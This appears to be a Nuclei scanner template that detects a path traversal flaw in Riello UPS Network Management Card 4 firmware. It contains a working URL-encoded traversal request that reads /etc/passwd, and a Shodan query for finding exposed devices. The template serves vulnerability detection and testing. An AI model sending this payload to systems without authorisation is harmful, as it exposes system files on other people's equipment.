id: ups-network-lfi

info:
  name: UPS Network Management Card 4 Path Traversal
  author: s4e-io
  severity: high
  description: |
    UPS Network Management Card version 4 suffers from a path traversal vulnerability.
  reference:
    - https://packetstormsecurity.com/files/177626/upsnmc4-traversal.txt
    - https://www.exploit-db.com/exploits/51897
  classification:
    cpe: cpe:2.3:o:riello-ups:netman_204_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: riello-ups
    product: netman_204_firmware
    shodan-query: html:"UPS Network Management Card 4"
  tags: packetstorm,ups,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 490a0046304402205f39aaf9610ba43223de2263f47844aaa465dce6324d9791d41b871e233d421a022068449d2f1583fab32b381e28b50ade2a102ed5ec9f6d16f2b932b534a9fd1c99:922c64590222798bb761d5b6d8e72950